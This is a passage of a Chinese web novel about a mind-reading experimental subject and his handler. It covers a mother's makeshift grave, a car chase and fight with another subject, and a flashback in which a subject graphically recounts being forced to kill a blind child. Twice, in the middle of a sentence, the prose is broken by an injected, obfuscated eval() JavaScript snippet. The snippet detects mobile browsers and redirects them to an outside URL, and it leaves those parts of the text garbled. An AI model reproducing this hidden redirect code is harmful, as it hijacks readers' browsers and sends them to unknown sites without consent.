消防车的声音由远及近,直到获救,他才看清母亲的模样。 ……她的模样? 林听猛地闭上眼。 那些画面,那些声音,那些气味——浓烟、焦臭、火焰的爆裂、骨骼的碎裂、鞋底粘上的黏稠液体……太清晰了。 可他想不起母亲的模样。 是他亲手造就了这场大火,是他亲手——杀死了母亲。 “呃……嗬。” 林听的身体倏然颤抖起来。 头更疼了,比之前任何一次都要剧烈。 他的眼睛像是被滚烫的沙砾塞满,又胀又痛,火烧火燎。 林听拼命地想要眨动,试图挤出几滴泪水,以此冲刷这份罪孽带来的绝望。 一滴都没有。 实验体的身体,连流泪这种最本能的悲伤宣泄都被剥夺了。 剩下的只有干涩的胀痛。 夜幕降临。 林听稳住身形,朝黑夜深处走去。 10. 铭记 晨光割开天际,将长庚路旁疯长的野草染上金色。 乔韫刹住那辆破旧的小电驴时,一眼就看到了公墓深处的身影。 她屏住气息,停好车,朝那个身影走去。 林听站在一片墓碑之间,面前,一块显然是新挪来的粗糙石料勉强立着,形状歪扭,棱角狰狞。 那上面,深红的字迹尚未干透,正沿着粗粝的石纹缓慢地向下爬行——“慈母林照之墓”。 那红色太刺眼,太粘稠,根本不是颜料。 乔韫的目光顺着那血色向下滑,落在林听垂在身侧的手上。 指尖一片狼藉,皮肉翻卷,暗红的血珠正一颗颗砸进他脚下的泥土里。 这傻子……用手指在石板上刻字? 乔韫放轻脚步,走到他身边,挨着那块染血的石碑站定。 “你找到我了。”林听的声音响起来。 他没有回头,目光依旧胶着在那几个血字上。 乔韫也没看他,而是将视线扫过周围的旧碑。 “你如果真想走,”她开口,声音被风吹得有些飘,“就不会给我留下线索,在这儿等我找来。” 林听的身体绷紧了一瞬,随即又缓缓松懈下去,像是终于卸下了某种重负。他没回答乔韫的话,只是指了下血字墓碑,默默自语:“从角落里找到的……就这块石料还算完整。”他顿了顿,又道:“这是我妈。我想,总得有个地方,写上她的名字。” 乔韫没再说话。 她半蹲下来,将帆布包放在脚边,从里面翻出几片独立包装的酒精棉片。然后,她伸出手,径直握住了林听那只伤痕累累的手腕。 林听下意识往回一缩,显出几分惊惶。 乔韫的手却像铁钳,骤然收紧,将他拽了回来。她的动作没有丝毫迟疑,抬手、落下,将酒精棉片直接按在了林听血肉模糊的指腹上。 “嘶——”酒精渗入伤口,刺痛袭来,林听不由得倒吸冷气。 “忍着。” “……好。” 乔韫神情专注,将棉片仔细地擦拭过每一道翻开的皮肉,带走凝结的血块和嵌入的石屑。 “你的头看着不怎么疼了。” 林听没想到乔韫的话头转得这么快,但经她提醒,林听才注意到,自己的头确实没那么疼了,只是太阳穴一突一突,仍传递着隐约的钝痛。 “可能是因为这边人少。” “你估算过自己的读心范围吗?” “大约……十米?” “垂直方向也能读心?” “对。” 难怪天天头疼。 乔韫挑了下眉。 方圆十米的心声围着林听转,头疼都算好的了,更常见的可能,应该是发疯。就像……那些被幻觉困扰的精神分裂患者一样。 “你有没有想过,或许你根本不会读心,只是……脑子有病?” 乔韫说到最后,自己也忍俊不禁,笑出声来。 她被陈放拉着聊了一晚上闲天,满脑子都是陈放的口头禅。 林听没有回答,他似乎理解到了这只是个玩笑。 清理完毕,乔韫松开手。林听看着自己不再滴血但依旧狰狞的指尖,莫名感到一阵失落,愣了好一会儿,才低低吐出两个字:“谢谢。” 乔韫点点头,算是应下。 她站起身,从包里摸出喝剩的半瓶矿泉水,拧开,倒了些水出来,浸湿一张纸巾。随即又蹲在墓碑前,用湿润的纸巾,小心翼翼地擦拭着石碑上溅落的血迹。 “我去找了陈放,”她一边擦拭,一边开口,“是他说你可能会在这儿。” 林听的目光终于从自己的手上移开,落回乔韫低垂的侧脸。 “他……”乔韫手上的动作没停,声音也依旧平稳,“替你说了不少好话。” 林听眼中掠过一丝讶异,眉头微蹙:“他?说我什么?” 旅馆。 林听的身影消失在楼梯口。 乔韫的眼睛依旧紧盯门锁。 她在思考。 林听不会有意瞒她什么,虽然对于这件事,乔韫并没有合理的论据,一切都源于直觉。不过,乔韫向来自信,她信任自己的所有判断,包括这些看起来虚无缥缈的“直觉”。 又或者说,乔韫相当自大,她总以为自己能看透他人的内心。 比如现在,乔韫认为,林听瞒着自己,去找陈放了。 原因很简单,如果是针对组织、针对任务、甚至针对她乔韫本人的行动,以林听的行事风格,不会刻意避开她。 剩下只有一种可能——他要去处理一件只关乎“林听”这个人的私事。一件他潜意识里认为不该让她知晓,或者不知如何向她启齿的事。 而在柳城,他唯一勉强算“认识”的局外人,只有陈放。 乔韫按捺着立刻跟出去的冲动。 太急了,容易惊动猎物。她需要时间让林听走远,也需要一个足够自然的借口,万一撞上,用来掩饰她追踪的行为。她强迫自己重新闭上眼睛,直到窗外最后一丝天光被黑暗吞噬。 十二点整。 林听依然没有回来,有点出乎乔韫的意料。 但这份讶异转瞬即逝,整件事的脉络在乔韫脑子里逐渐清晰:现在,林听或许在等自己找他。 “亏我还想了好几条借口……” 什么“找陈放确认进度”啦、“补充车辆细节”啦,甚至“来找陈放叙旧”的借口也被她纳入了考虑范围。 现在都用不上了。 乔韫翻身下床,拉开门,脚步轻捷地下楼。 走到前台时,那个卷发女人正刷着短视频,见乔韫下楼,懒洋洋抬起眼皮,扫了她一眼。 居然还没睡。 林听也被她看见了吗? 乔韫避开了老板的目光,径自离去。 老陈修车行。 乔韫弯腰钻进去时,里面灯火通明,一个硕大的铁笼,形态扭曲,很是显眼。 林听不在。 但陈放仍在尽心尽力地工作。 “乔韫?你……”他目光扫过乔韫身后,没看到预想中的人影,声音拔高了点,“那怪物没跟你一起?” “怪物?”乔韫挑眉,踱步过去,“看来他的确来过。走了?” “废话!”陈放没好气地把手里的废铁料扔进角落的废物堆,“哐当”一声响。 “一声不响地把我门锁撬了,我要是反应慢,他就要拆我密室了!你瞧瞧这,”陈放指了指铁笼,“他掰的,差点给我吓没气儿!我说乔韫,你玩谁不好,干嘛非得和实验体杠上啊?这家伙……脑子实在他*有点轴。” 乔韫环抱着手臂,倚靠在扭曲的金属笼上:“他怎么了?撬你门干什么?” “谁知道他发什么疯! “撬锁进来,直奔我那面墙,摸摸索索的,问他,他说他进来问路! “这莫名其妙的,我肯定不能信啊,我就要他想清楚再说,然后他就改话头了,说来‘确认’!确认我和江城子是不是真的彻底闹掰了!操!我跟江城子那点破事,轮得到他来确认?” 乔韫眼神微动。 林听难得出来一趟,谨慎些倒也正常,她更在意的,是另一句话。 “他找你问路?” 陈放一怔,撇撇嘴,似乎在埋怨乔韫半点不接话头:“是,他说他要去朝阳公馆。” 见乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506307|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫沉默不语,陈放又侃侃而谈起来:“话说回来,乔韫,他跟我说他喜欢你,你知道这事儿不?” 乔韫:? 她还真不知道,但…… 【我等了你很久。】 乔韫脑子里突如其来地想起这句话。 她应该知道了。 “这算是某种雏鸟情结吧。” 乔韫并不确定组织是否知情自己与林听的往事。 但不得不说,这份情结叫她省了不少心。 至少相处下来,林听还是很听话的。 陈放权当乔韫知情,不置可否:“他肯定有事儿瞒着你,你小心些,别阴沟里翻船。” “每个人都有秘密,陈放。”乔韫淡淡道,“他瞒着我什么,不稀奇。只要不碍着我的事,随他。” “那你还真是心大,需要我为你鼓掌吗,乔小姐?” “彼此彼此,论心大程度,我还是比不过陈先生,至少我不会乐意把自己的秘密搞得人尽皆知。” “……我*,你也太欠揍了。” 乔韫鼻尖喷出一声得意的“哼”,坦然接受了陈放的“赞美”。 “我这是在给你做脱敏训练,不用客气。” “但话又说回来,”陈放的声音忽然低了下来,“那个实验体不仅问了去朝阳公馆的路,还问我柳城公墓在哪儿。” “哦?” 陈放的目光转向密室:“我猜他是‘九号’,对吧?” 乔韫轻轻“嗯”了一声:“怎么猜到的?” “在谛听一期实验体中,只有他在四岁才成为孤儿,其他孩子,基本都是出生就被遗弃的。再加上他问我‘公墓’在哪儿,所以我猜想,他就是九号,想看望自己已故的亲人。” “看不出来,你还挺聪明的。” “拜托,智商低于130的人根本没机会进组织好吗,你也太小看我了。” “好好好,言归正传。你说起这个,是因为……你同他共情了?” “算是吧。” 说到这里,陈放突然叹了口长气。 “当年,江城子找上我,说要把江临仙的信息录入AI,装载到DT3V上,我也立刻就共情了。 “乔韫,我问你,你还记得进入‘谛听’小组前交往的同事吗?还记得‘谛听’其他因公殉职的人吗?” 乔韫敛下眼皮,思索片刻,随即摇了摇头。 谛听年均死亡人数逼近两位数,前一天同你谈笑风生的伙伴,第二天就有可能消失得毫无声息。他们都是孤儿,死了也没有亲人记挂。 “被人遗忘,对于逝者本身而言,或许没什么大不了;但对于铭记她的生者,实在太痛苦了。 “我和江城子的目的是一致的——希望江临仙能被人记住。希望大家听到她的声音时,脑子里会出现有关于她的回忆。 “就跟她一直活着一样。” 陈放脸上的肌肉彻底松弛下来,乔韫隐隐看见了他开始下垂的颊肉。 时光无情。 “可我依然认为,这只是出于你们的自私。江城子或许如你所言,并没有表面上那般无情,但他的行为始终是于事无补;而你,陈放,”乔韫抿抿唇,似乎在斟酌用词,“你不仅关住了江临仙,也困住了你自己。” “乔韫,这才是人,人都是自私的,能做到像你这样什么都不在乎的,才是少数。” 乔韫不置可否。 “所以我才说那实验体有事儿瞒着你啊。” 乔韫皱眉:“我没明白你的意思。” “我是说,那小屁孩儿没准也在期待……有个人能同他一起记住逝者。 “乔韫,这样微小的心愿,其实不算自私。” 11. 拥抱 “……他说,你是个好孩子。” 林听:? 乔韫擦净墓碑上最后一抹血痕,直起身,将湿透的纸巾团成一团,攥在手心。 她转过头,迎上林听覆上疑惑的眼眸,语气难得地带上了一丝安抚: “我觉得他的话不无道理,你的确是个好孩子。” 林听云里雾里,好半天才从喉咙里挤出一声“哦……” 但,莫名地,他感到指尖发痒,细细品味,才发觉发痒的是心脏。 他好像在笑。 ……这傻子,太好懂了吧。 乔韫看着他微微弯起的嘴角,不由得扶额。 她不确定这件事是好是坏,单从她个人的角度来说,林听的行为非常博好感。乔韫从没见过如此喜形于色的人,在组织里,没有人不擅长伪装,哪怕看似心直口快的小莫,心里也有自己的考量。 林听的坦诚,给足了安全感。 但从林听的角度来说,作为一个人人觊觎的“武器”,如此单纯、如此好骗…… 不对,她怎么还反过来担心林听了? 乔韫后知后觉,蹙了下眉。 好像她一和林听待一块儿,就会自动给人家当妈。 乔韫一抬眼,便撞上林听探究的目光,她颇有些不自在,揉揉鼻尖,道: “你母亲的事,以后不止是你一个人记得。” 她朝那块刻着“林照”名字的石碑抬了抬下巴:“现在,我也记住了。” “……嗯。” 晨风卷起地上的草叶,打着旋儿掠过冰冷的墓碑。 林听一动不动地站着,像被乔韫最后那句话钉在了原地。 “对了,”乔韫打破沉默,翻出止疼药,递给林听:“先把药吃了,我们该回去了。” 林听盯着铝塑板内的白色药片,开口道:“你之前在车里给我吃的似乎不是这个。” “我给错药了,抱歉。” 乔韫滑跪得相当迅速,一时让林听都有些哑然。 “就按之前的药来吧,那个更有用。” “哇,我还是第一次见吃错药也能这么淡定的人。” “习惯了。” 习惯?习惯什么? 乔韫下意识琢磨起他的话。 可能是习惯吃药,也可能是习惯被喂错药。 她对实验体的日常,其实并不算了解。但可以确定的是,这群人都不好过。 “行。”乔韫将疑虑搁置,从善如流掏出劳拉西泮,“赶紧吃了,吃完回去收拾东西退房,我们得赶在陈放等到骂街之前拿到车,他可是通宵干的活。” 说完,她转身就朝公墓外停着小电驴的方向迈开步子。 “姐姐。”林听的声音突然在她身后响起。 乔韫脚步一顿。 她似乎开始摸清林听的脑回路了:无事叫乔韫,有事叫姐姐,相当臭屁。 只见林听站在原地,张了张嘴,喉结艰难地滚动了好几下,才终于挤出几个字: “能不能……让我抱一下?” 乔韫看着他,脸上没什么表情。 她什么也没说。 林听几乎要开始后悔提出这个要求。 下一秒,乔韫径直朝他走了回去。 没有犹豫,没有询问,甚至没给林听任何反应的时间。她在他面前站定,伸出手臂,一把将林听的脑袋按向自己。 林听的大脑登时一片空白。 乔韫的一只手依旧按着他的后脑勺,将他更深地压向自己胸口。另一只手却抬了起来,胡乱地用力揉搓着他的后脑勺。 动作生涩得像个第一次安抚受惊动物的新手,却奇异地带着一种令人安心的力量。 “多大点事……”她含混的声音从林听头顶传来,胸腔震动,传递到他的耳膜和脸颊,“……出息。” 林听的脸死死地埋在乔韫胸口,滚烫的温度瞬间从耳根蔓延到整个脖颈,红得像是要滴出血来。他甚至能清晰地感觉到乔韫的心跳,平稳有力,和他自己擂鼓般的狂跳形成了荒谬的对比。 过了仿佛有一个世纪那么久,乔韫才终于松开了按着他脑袋的手。 她往后退开半步,脸上依旧没什么特别的表情,就像只是顺手拍了拍路边的一棵树。 “走了。”乔韫丢下两个字,转身大步走向那辆共享小电驴,腿一跨,稳稳坐了上去。 她拧动车把,回过头,看向还僵在原地的林听,颇为得意地朝后座扬了扬头: “上来。” 林听如梦初醒,忙应声过去。 他高大的身躯挤上窄小的后座,一双长腿委屈地蜷缩着,膝盖几乎要顶到乔韫的后背,画面实在有些滑稽。 最后,林听迟疑了一下,才小心翼翼地伸出双臂,虚虚环住了乔韫的腰身。 “抱稳了。” 小电驴猛地向前一蹿。 惯性让林听的身体不由自主地向前倾去,脸颊瞬间贴上了乔韫的后背。 他身体再次一僵,环在她腰上的手臂却下意识收紧。 林听缓缓深吸了一口气,闭上眼睛,任由脸颊埋进那片温暖里。 小旅馆门口。 乔韫推开吱呀作响的玻璃门。 前台后面,那个卷发女人正低头刷着手机。听见门响,她猛地抬起头,眼神飞快地在乔韫和林听身上扫过,又迅速垂下眼皮,手指在屏幕上划得更快了。 显得有些刻意。 乔韫脚步没停,径直朝楼梯口走去。 就在她踏上台阶时,身侧的林听忽然倾身,靠近她耳边,将声音压低: “老板……把我们的房间号,告诉别人了。” 乔韫闻言,眼皮都没眨一下,甚至掏出手机,好整以暇地刷起来。 她反手,轻轻拍了拍林听的手背。 一个无声的指令:别贸然行动,稳住。 两人一前一后走上三楼。 狭窄的楼道灯光昏暗,墙壁上水渍斑驳。 走到301门口,乔韫掏出钥匙,插进锁孔,推开门。 房间里的景象和他们离开时似乎并无二致。乔韫的背包还扔在床边,几件散落的衣物搭在椅背上。 乔韫反手关上房门,落锁的瞬间,她脸上的平静骤然碎裂,眼神锐利如鹰隼,扫过整个房间——床底、衣柜缝隙、窗帘后…… 还有,紧闭的卫生间。 “盯紧卫生间,我去拿包。”她的声音压得极低,隐隐透着急迫。 话音刚落,她已一个箭步冲到床边,抄起自己的背包,看也不看,像扫垃圾一样将床上散落的衣物、药盒、洗漱用品一股脑地往包里塞,动作快得带起风声。 滋—— 不过转瞬,拉链声响起。 与此同时。 砰! 洗手间门被从里面猛地撞开。 两道穿着黑色战术服的身影窜出,动作迅猛,训练有素,手中的枪口在昏暗的光线下闪烁着金属光泽,黑洞洞地指向房间中央的两人。 更刺眼的是,他们耳廓后方,都佩戴着乔韫熟悉的信号干扰器。 是“清道夫”小组,算得上组织的武警部队。 “啧。” 这么快就找上门了。 “不许动!” 林听微眯着眼,似乎马上要冲上去厮杀,可乔韫却神色淡定地将双手举过头顶,一副任人处置的样子。 他见状,便学着乔韫,也将手举起。 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解决完房间里的麻烦,林听稍稍凝神,将自己听到的信息转达给乔韫。 这群人的脚步并不轻,哪怕是乔韫这个普通人,也能感受到地板微微的震动。 只是无法像林听那样给出具体数字罢了。 乔韫将背包背好,又掏出手机,看了一眼,随即立刻下令:“走,跳窗。车就在楼下。” 她昨晚对着陈放好一阵威逼利诱,才叫他给自己的DT3V安装好远程无人驾驶功能的,如果遇到紧急时刻,她只需要在手机上操作,就可以把DT3V叫到指定地点。 没想到今天就用上了。 林听半句也没多问,熟练地抱起乔韫,朝窗外一跳。 后背顶碎蒙尘的玻璃,一时迸出无数烟尘。 随着玻璃碎裂。 砰!砰! 数声枪击从他们背后响起,“清道夫”姗姗来迟,只捕捉到二人下坠的背影。 子弹嵌入窗架,引起楼下铺天盖地的喧嚣。 “杀人啦!” “跑,快跑!!!” …… 乔韫正沾沾自喜,忽然,在楼下四散的人群里,她注意到一个巍然不动的身影。 ——操,又是五号! 五号已经认出了乔韫的车,正迅速赶来。 而乔韫,在这千钧一发之际,果断掏出枪,瞄准五号。 扣下扳机。 砰! 五号的速度被压制一瞬,不过眨眼,她便调整好状态,继续朝二人奔来。 一瞬,足够了。 林听的脚尖已经触到车顶,他立即稳住身形,让乔韫借力,翻身打开驾驶座车门,钻了进去。 “快,上车!” 乔韫一启动DT3V,便将副驾驶的车窗打开,示意林听进入。 林听灵动得像一只蝶,翩然飞入车内,然而。 ——刺啦。 五号不甘落后,跃上车顶,一柄唐刀,刺穿了林听的衣角,随着林听的动作,发出刺耳的布料碎裂声。 乔韫急忙摇上车窗,却见五号的刀已深入车内,几乎擦上林听的胸口。 “把车窗打开。”林听突然开口,“我去把她打下来。” 乔韫依言做了。 在林听动作前,她继续下达命令:“你能活捉她吗。” 这不是问句,乔韫似乎笃定林听有这个本事。 她有许多话,要和五号面对面说才行。 “可以试试。” 12. 伪装 车窗摇下的瞬间,五号的刀锋因受力点的变化而偏移寸许。 就是现在! 林听立即探手,拉开DT3V副驾驶下方不起眼的暗格——那是武器箱。 寒光一闪,一柄□□已握在他手中。 没有半分犹豫,林听手腕翻转,向上格挡。 铛—— 刺耳的金铁交鸣声炸开,五号的唐刀被这一击生生逼退。 借着这股反震,林听腰身一拧,再次从敞开的车窗翻腾而出,稳稳落回车顶。劲风扯乱了他的头发,衣襟猎猎作响。 “你真以为自己逃得了?” 五号的声音穿透风声,手中的唐刀微微调整角度,做出迎战姿势。 林听紧握匕首,身体在高速带来的气流中稳如磐石。 他的目光越过五号,扫了一眼后方紧咬不舍的追击车队,又落回五号脸上。 “我相信她。” 他只说了这四个字,对象不言而喻。 五号嘴角一撇,仿佛挤出一个冷笑。 她没有再浪费口舌,唐刀直劈林听面门。 与此同时,十几辆经过改装的黑色越野车,从各个岔路、小巷疯狂窜出,目标明确,直奔乔韫所驾驶的的DT3V。 它们或许没有DT3V顶尖的防弹性能和火力,光从数量出发,就足以构成致命的威胁。 乔韫的神经紧绷到了极致。 江城子这回可比在精神病院的时候认真多了,几乎没给她留余地。 乔韫没说出声,但心里早把江城子千刀万剐了一遍。 她双手死死扣住方向盘,汗水顺着额角滑落,浸湿了鬓角。 后视镜里,一辆车猛地加速,试图从左侧强行挤撞。 “哼,还挺会找死的。” 乔韫眼中厉色一闪,非但没有减速,反而猛打方向盘,DT3V的轮胎蹭出刺耳的摩擦声,来了个近乎九十度的极限甩尾漂移。 吱嘎——嘭! 那辆试图撞击的车收势不及,被DT3V的车尾狠狠扫中侧面,巨大的冲击力让它瞬间失控,旋转着横飞出去,一头撞上了另一辆追击车。 两辆车翻滚着撞向路边的店铺,火光与浓烟腾起,瞬间堵死了后面几辆车的通路。 “啧……” 乔韫甚至来不及松一口气。 前方十字路口,三辆车并排组成了一道钢铁路障,黑洞洞的枪口已经从车窗伸出。 “真难缠。” 她立即做出决断,一咬牙,方向盘猛打,拐进小巷,朝着最近的出城高速入口狂飙而去。 这里施展不开,必须得出城! 轰—— 高速入口的闸机在DT3V面前根本不够看,乔韫只需踩下油门,便将其撞得粉碎。 冲上高速主路不到百米,乔韫再次调转方向,撞开路旁的护栏。 车身登时腾空而起,然后狠狠砸向下方陡峭的大斜坡。 车顶上的激斗因此变得艰难。 颠簸、失重,对实验体而言,同样是巨大的干扰。 林听和五号竭力维持平衡,每一次刀刃的碰撞都险象环生,衣料被撕裂、皮肉被划破。 纵然实验体的大部分皮肤经过强化,硬度接近钢铁,但并非没有弱点——手指、腹部、脖颈、眼球,这些部位依旧与常人无异。 实验体间的对决,意味着更多的弱点被暴露。 二人专攻弱处,裸露的皮肤沾上血迹,已然分不清是对方的还是自己的。 就在DT3V冲下大斜坡的瞬间。 林听正处于进攻间歇,身形未稳,便被巨大的惯性狠狠甩了出去。 “呃!” 他闷哼一声,身体完全脱离车顶,眼看就要坠入下方翻滚的树丛。 然而,就在身体飞出的刹那,他空着的左手如同铁钳,猛地扣住了车顶边缘,下坠的身体被强行拉住,直直撞向车身,将林听震得大脑发麻。 这致命的破绽,五号岂会放过? 她没有丝毫犹豫,借着车身下冲的势头,手中的唐刀化作一道夺命的银线,直刺林听脖颈。 滋—— 车内的乔韫,透过后视镜,将这一幕看得清清楚楚。 她身比脑快,将刹车踏板狠狠踩到底。 轮胎瞬间抱死,车尾猛地向上甩起,整个车身,如同被无形的巨手向后拽了一把。 这突如其来的制动,带来了两个效果: 对林听而言,急刹带来的反向力,如同在他背后助推,不仅抵消了他下坠的颓势,更将他猛地“推”回了车顶方向。 而对正准备给予林听致命一击的五号来说,这方向相反的巨力,让她精心计算的动作瞬间失衡。 她惊呼一声,身体不受控制地向后踉跄。 局势在眨眼间逆转。 砰! 林听抢准时机,将五号撞倒在车顶,匕首抵上五号的脖颈,压出淡淡一丝血痕。 “别动。” 他抬起头,目光扫向后方车辆。 “清道夫”显然注意到了局势的变化,不约而同减缓了速度。 林听挟持着五号,缓缓站起身,站在DT3V车顶。匕首的寒芒闪烁着,宣告着无声的威胁: 再靠近一步,她就死。 追击车队明显迟疑了。最前面的几辆车甚至踩下了刹车,不敢再贸然逼近。 那可是实验体,价值无法估量。 在这一瞬间,“清道夫”车内的通讯频道陷入一片混乱的咆哮。 “乔韫,走!” 林听的声音斩钉截铁,从敞开的车窗钻进乔韫耳中。 根本无需提醒。 在后方车辆迟疑的瞬间,乔韫已经松开了刹车。 抬脚,踩上油门。 DT3V再次启动,卷起尘土和草屑,朝着斜坡下方的森林猛冲而去。 直到确认彻底甩掉了尾巴,深入森林腹地,乔韫才缓缓将车停在一片相对开阔的林间空地。 引擎熄火,车门打开。 林听押着五号从车顶跃下,动作依旧警惕,谨慎地握紧五号颈间的匕首。 五号脸色苍白,颈部的伤口渗着血珠,身上多处破损,沾满尘土和干涸的血迹,显得有些狼狈。 可她的眼神仍然平静,仿佛受伤的不是自己。 乔韫摇下车窗,目光落在五号脸上。 森林里潮湿阴冷的空气涌了进来。 “好久不见。” 五号主动开口,目光直直看向乔韫。 乔韫对她这声招呼显露出一丝厌恶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506309|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她和五号,距上次见面,只过了不到两天的时间,实在算不上“好久不见”。 但自从乔韫知道五号有可能是六号后,这声“好久不见”的意味可就大大改变了。 于是她索性单刀直入: “我现在应该叫你五号,还是……六号?” 旁边的林听闻言,眉头一蹙,目光下意识地从五号身上移开,落在了脚下的苔藓上。睫毛下垂,平白显出几分落寞。 “我就是五号。” 五号没有任何迟疑,“只是拥有了六号的记忆。” “那为什么,你要叫我‘姐姐’?” “因为在我的记忆里,你就是姐姐。” 乔韫的眉心拧紧。 这个答案,似乎清晰,又似乎更模糊了。 “在我的记忆里”……这暧昧的指代,究竟代表着他俩记忆彻底融合,不分彼此;还是五号作为主体,在读取六号记忆时产生了认知混淆,无法准确分辨两份记忆? 乔韫决定刺刀见红。 她身体微微前倾:“你想杀我吗?” 五号陷入了沉默。 乔韫耐心等待着,过了许久,才听到五号的回复: “不想。我只希望你别离开。” 不想杀她? 乔韫勉强把它当作五号的回答,毕竟以她对六号的认识,他不会不想杀自己。 但“希望你别离开”……怎么听都像是六号能说出来的话。 “林听,” 乔韫果断下令,“把她押上车,我得审审。你在外面守着,确保那群人没跟上来。仔细点。” 林听立刻看向乔韫,眼神里充满了不赞同和担忧:“她……” 他瞥了一眼被制住的五号,未尽之意很明显: 太危险了。 “她刚才说了,不想杀我。” 乔韫的语气带着笃定。 她甚至微微偏过头,目光越过林听,直接落在五号低垂的脸上,试探道:“对吧?” 五号将头埋得更低,没有回答乔韫的问题。 林听抿抿嘴唇,最终还是选择了服从。 他打开DT3V的后车门,将五号推了进去。 车门合拢,发出沉闷的“砰”声,将外界的声音隔绝。 隔音功能和信号屏蔽材料发挥了作用,即使是林听这样感官超常的实验体,此刻也只能看到模糊的轮廓,而无法探知车内一丝一毫的动静。 车内,仪表盘发出幽幽的冷光,映照着两张同样冷漠的脸。 乔韫没有立刻说话。 她靠在驾驶座上,似乎有些疲惫地揉了揉眉心,目光却锐利非常,如手术刀,解剖着后视镜里五号每一个细微的表情。 五号依旧低着头,双手放在膝盖上,像个等待审判的囚徒,颈间的伤口已经停止渗血,留下一道暗红的痂。 “哈……” 乔韫突然自嘲一笑。 “这是我们第二次合作了,六号。” 随着乔韫的话语落下,她的手机屏幕适时亮起。 是江城子发来的新消息。 解锁手机。 屏幕上赫然跳出几行文字: [后续行动的对接人,你应该接到了。] [尽快完成任务,别让我们久等。] 13. 六号 乔韫在十八岁就成为了实验体六号的行为分析师。 当然,每个实验体都拥有三到四位行为分析师,组成特定的“x号心理小组”,以确保数据的精确性。 乔韫,在那时,是“六号心理小组”中,最年轻的一位。 于是她自然而然地承担了“让六号放松警惕”的责任,理由是他们只差四岁,共同话题更多,六号会天然地对乔韫产生亲近感。 实验体们或多或少都清楚自己的处境,能猜到这些看似温和的“行为分析师”们,真实面目是套话的骗子,无一例外。 但六号不同。 他从不排斥行为分析师,或者说,他从不排斥乔韫。 用乔韫的话说就是:六号太懦弱。 懦弱到需要情感宣泄,也需要有个人让他依靠。 至于依靠的对象是谁,六号并不挑。 在被编号隔离前,他依靠自己的龙凤胎姐妹五号;在被编号隔离后,他依靠那位年轻的行为分析师——乔韫。 这种人,哪怕掌握了超乎常人的力量,也没有勇气使用。 没有人指望他成功。 可造化弄人,谛听计划启动多年,居然是懦弱的六号成为第一个“终极兵器”。 乔韫仍然记得,那一天,六号面色惨白,浑身颤抖着朝她诉苦: “姐姐……我不想成为‘兵器’,太吓人了!明明前段时间,他们只要我杀死兔子,但今天、今天……” 六号说到这里,抖得更厉害了,连嘴唇都磕碰在一起,将他的音调截得飘飘忽忽: “今天他们要我杀人!” 乔韫面上并无波澜。 她并不认为这是多不可理喻的事,作为兵器,下不去手杀人,会在关键时刻丢掉更多人的性命。 这种训练是必要的。 “那个孩子,眼睛瞎了,眼眶凹进去一块,整个眼皮皱巴巴的。他听见我进去,还给我打招呼,问我……他的眼睛是不是今天就能好了? “他以为我是医生,他以为我是来救他的!我……” 说到这里,六号的喉咙像被什么东西卡住。 他张着嘴,却发不出半点声音,面色痛苦,像在极力摆脱回忆。 “你最后动手了吗?” “我……我太害怕了,姐姐。如果我不动手,他们会杀了我的!” “那,你还记得你是怎样动的手吗?” “呜、呜呜……呕!” 六号吐了。 实验体的泪腺早已退化,无法分泌出眼泪,可六号依然做出了哭脸。 一个诡异的、没有眼泪的哭脸。 他扁着嘴,喉头耸动,脑子里闪过无数血液喷溅的画面,胃袋翻涌,最终一股脑地,将未消化完全的食物吐了出来。 连俯身的动作都没来得及做。 桌上、衣襟,甚至他架在桌上的手背,尽数覆上一层呕吐物。 仿佛这才是他的眼泪。 “姐姐,不行,我没办法……” “没办法什么?” “没办法……回忆。” 乔韫流露出安抚的眼神,毫不嫌弃地将自己的手心覆上六号手背。 黏腻湿滑,让乔韫感到恶心。 但她依然勾出一个暖洋洋的笑容:“没事的,要相信自己。告诉姐姐,你是怎么把他,杀死的?” 六号的脊背颤抖起来。 “我……掐住了他的脖子,但、但我使不上力,他不断挣扎,求我放他走,还踢了我一脚!那一脚踢得太重了,我被他吓到了,就、就……” “就如何?” “就握住了他的小腿,一使力,他的腿就掉下来了。 “血……喷得好高、好远,喷了我一脸。他愣住了,我也愣住了。 “然后,他开始大叫。我不敢继续摁着他,于是退到角落里,喊救命,我希望有人来救救我。 “可是,过了很久也没有人。 “慢慢地、慢慢地,那小孩儿不做声了,也不动了。整块地板都流着血。 “最后,他们进来了,他们说: “六号,恭喜你完成任务。” 说完这长长的一段话,六号登时像个泄了气的皮球,瘫坐在椅子上,大口喘着粗气。 乔韫将手收回,胃液在她手心结成薄薄的壳。 “姐姐,你能带我走吗?我、我好累……” 乔韫脸上的笑容未曾被撼动半分: “六号,你乖乖完成了任务,这很棒哦。” “姐姐,带我走吧……” “今天的谈话到这里就要结束了。” “姐姐,带我走!” “期待下次见面哦。” …… 乔韫走出实验屋,身体瞬间瘫软,跌坐在地。 她面上伪装的的平和在此刻彻底碎裂。 血液、哭声……仿佛径直从六号的记忆力,跃迁到她的大脑。 这很正常、这很正常,只是杀人而已,只是杀掉了一个孩子。 这很正常。 乔韫试图说服自己。 “乔韫?你这是……哦,六号又情绪崩溃了是吧。我说你啊,也该把共情力收敛起来了,次次都这样,很伤身体的——来针安定剂?” 乔韫抬头,朝说话的同事投以一笑: “麻烦了。” 同事闻言,便从门口的储物格里搜出个安瓿瓶,熟练掰开,注入针筒,递给乔韫。 